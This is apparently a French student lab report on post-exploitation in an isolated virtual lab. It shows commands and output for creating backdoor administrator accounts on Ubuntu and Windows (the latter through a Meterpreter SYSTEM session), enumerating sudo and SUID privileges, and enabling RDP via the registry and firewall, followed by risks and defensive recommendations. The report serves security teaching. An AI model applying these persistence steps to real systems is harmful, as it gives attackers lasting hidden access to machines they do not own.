

TP 3.4 – Post-exploitation : maintien d'accès et élévation de privilèges

Objectif du TP

Ce TP a pour objectif de comprendre la phase de **post-exploitation**, c'est-à-dire ce qu'un attaquant fait **après avoir compromis un système**.

Les actions étudiées sont :

- Maintien d'accès sur Linux et Windows
- Création de comptes persistants
- Élévation de privilèges
- Mise en place d'accès distants (SSH / RDP)
- Compréhension des risques en environnement réel

Contexte du laboratoire

Machines utilisées :

- Ubuntu : 192.168.56.10
- Windows : 192.168.56.20
- Kali Linux (attaquant) : 192.168.56.30

Les machines ont déjà été compromises dans les TPs précédents.

PARTIE 1 – Maintien d'accès sur Linux (Ubuntu)

1. Vérification de l'utilisateur

Commande :

whoami

```

└─$ ssh wilfriedngana@192.168.56.10
wilfriedngana@192.168.56.10's password:
Welcome to Ubuntu 22.04.1 LTS (GNU/Linux 5.15.0-43-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

661 mises à jour peuvent être appliquées immédiatement.
470 de ces mises à jour sont des mises à jour de sécurité.
Pour afficher ces mises à jour supplémentaires, exécuter : apt list --upgradable

New release '24.04.4 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Mon Apr 27 10:35:23 2026 from 192.168.56.30

```

Résultat :

wilfriedngana

2. Création d'un utilisateur persistant

Commande :

sudo adduser backupadmin

```

Ajout de l'utilisateur « backupadmin » ...
Ajout du nouveau groupe « backupadmin » (1001) ...
Ajout du nouvel utilisateur « backupadmin » (1001) avec le groupe « backupadmin » ...
Création du répertoire personnel « /home/backupadmin »...
Copie des fichiers depuis « /etc/skel »...
Nouveau mot de passe :
MOT DE PASSE INCORRECT : Le mot de passe ne passe pas la vérification dans le dictionnaire - trop simple/systématique
Retapez le nouveau mot de passe :
passwd : le mot de passe a été mis à jour avec succès
Modification des informations relatives à l'utilisateur backupadmin
Entrez la nouvelle valeur ou « Entrée » pour conserver la valeur proposée
  Nom complet []:
  N° de bureau []:
  Téléphone professionnel []:
  Téléphone personnel []:
  Autre []:
Ces informations sont-elles correctes ? [o/n] o

```

Résultat :

- utilisateur backupadmin créé avec succès

3. Ajout au groupe sudo

sudo usermod -aG sudo backupadmin

Vérification :

groups backupadmin

```

-VirtualBox:~$ sudo usermod -aG sudo backupadmin
-VirtualBox:~$ groups backupadmin
sudo
-VirtualBox:~$

```

Résultat :

- backupadmin appartient au groupe sudo

4. Recherche de privilèges et failles Linux

sudo -l

find / -perm -4000 2>/dev/null

```
[sudo] Mot de passe de backupadmin :  
Désolé, essayez de nouveau.  
[sudo] Mot de passe de backupadmin :  
Entrées Defaults correspondant pour backupadmin sur wilfriedngana-VirtualBox :  
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
```

```
/snap/core20/1587/usr/bin/chfn  
/snap/core20/1587/usr/bin/chsh  
/snap/core20/1587/usr/bin/gpasswd  
/snap/core20/1587/usr/bin/mount  
/snap/core20/1587/usr/bin/newgrp  
/snap/core20/1587/usr/bin/passwd  
/snap/core20/1587/usr/bin/su  
/snap/core20/1587/usr/bin/sudo  
/snap/core20/1587/usr/bin/umount  
/snap/core20/1587/usr/lib/dbus-1.0/dbus-daemon-launch-helper  
/snap/core20/1587/usr/lib/openssh/ssh-keysign  
/snap/core22/2411/usr/bin/chfn  
/snap/core22/2411/usr/bin/chsh  
/snap/core22/2411/usr/bin/gpasswd  
/snap/core22/2411/usr/bin/mount  
/snap/core22/2411/usr/bin/newgrp  
/snap/core22/2411/usr/bin/passwd  
/snap/core22/2411/usr/bin/su  
/snap/core22/2411/usr/bin/sudo  
/snap/core22/2411/usr/bin/umount  
/snap/core22/2411/usr/lib/dbus-1.0/dbus-daemon-launch-helper  
/snap/core22/2411/usr/lib/openssh/ssh-keysign  
/snap/core22/2411/usr/libexec/polkit-agent-helper-1  
/usr/libexec/polkit-agent-helper-1  
/usr/bin/chfn  
/usr/bin/gpasswd  
/usr/bin/passwd  
/usr/bin/fusermount3  
/usr/bin/mount  
/usr/bin/newgrp  
/usr/bin/umount  
/usr/bin/su  
/usr/bin/sudo  
/usr/bin/chsh
```

Résultat :

- analyse des permissions sudo et SUID
- identification des binaires à privilèges élevés

PARTIE 2 – Maintien d'accès sur Windows

1. Vérification accès Meterpreter

getuid

```
meterpreter > getuid  
Server username: AUTORITE NT\Systeme  
meterpreter > sysinfo
```

Résultat :

AUTHORITE NT\SYSTEM

3. Création utilisateur persistant

Dans shell Windows : **net user supportadmin 12345678 /add net localgroup administrators supportadmin /add**

```
PS C:\Windows\system32> net user supportadmin 12345678 /add
La commande s'est terminée correctement.
```

```
PS C:\Windows\system32> net localgroup administrateurs supportadmin /add
La commande s'est terminée correctement.
```

Résultat :

- utilisateur supportadmin créé avec droits administrateur

4. Activation RDP

reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /fDenyTSConnections /t REG_DWORD /d 0 /f

netsh advfirewall firewall set rule group="remote desktop" new enable=Yes

```
>> olSet\Control\Terminal Server" -Name "fDenyTSConnections" -Value 0
PS C:\Windows\system32> reg add "HKLM\System\CurrentControlSet\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
L'opération a réussi.
PS C:\Windows\system32>
```

```
PS C:\Windows\system32> netsh advfirewall firewall set rule group="Bureau à distance" new enable=yes
3 règle(s) mise(s) à jour.
Ok.
PS C:\Windows\system32>
```

Résultat :

- accès Bureau à distance activé

ANALYSE GLOBALE

Dans ce TP, nous avons simulé les actions d'un attaquant après compromission initiale :

Linux :

- création d'un utilisateur secondaire (backupadmin)
- ajout au groupe sudo
- vérification des privilèges système

Windows :

- accès SYSTEM via Meterpreter
- création d'un utilisateur administrateur
- activation du RDP
- maintien d'accès au système

RISQUES EN ENTREPRISE

Ces actions montrent que :

- un attaquant peut conserver un accès même après correction
- des comptes secondaires peuvent passer inaperçus
- RDP peut devenir une porte d'entrée permanente
- un système compromis reste exploitable longtemps

RECOMMANDATIONS DE SÉCURITÉ

Linux :

- audit régulier des utilisateurs (/etc/passwd)
- surveillance des comptes sudo
- gestion stricte des clés SSH
- suppression des comptes inconnus

Windows :

- contrôle des comptes administrateurs

- désactivation RDP si inutile
 - surveillance des connexions distantes
 - logs des créations utilisateurs
-

CONCLUSION

Ce TP démontre que :

- l'intrusion n'est que la première étape
- le véritable danger est la persistance
- un attaquant cherche à rester dans le système
- la sécurité dépend fortement de la configuration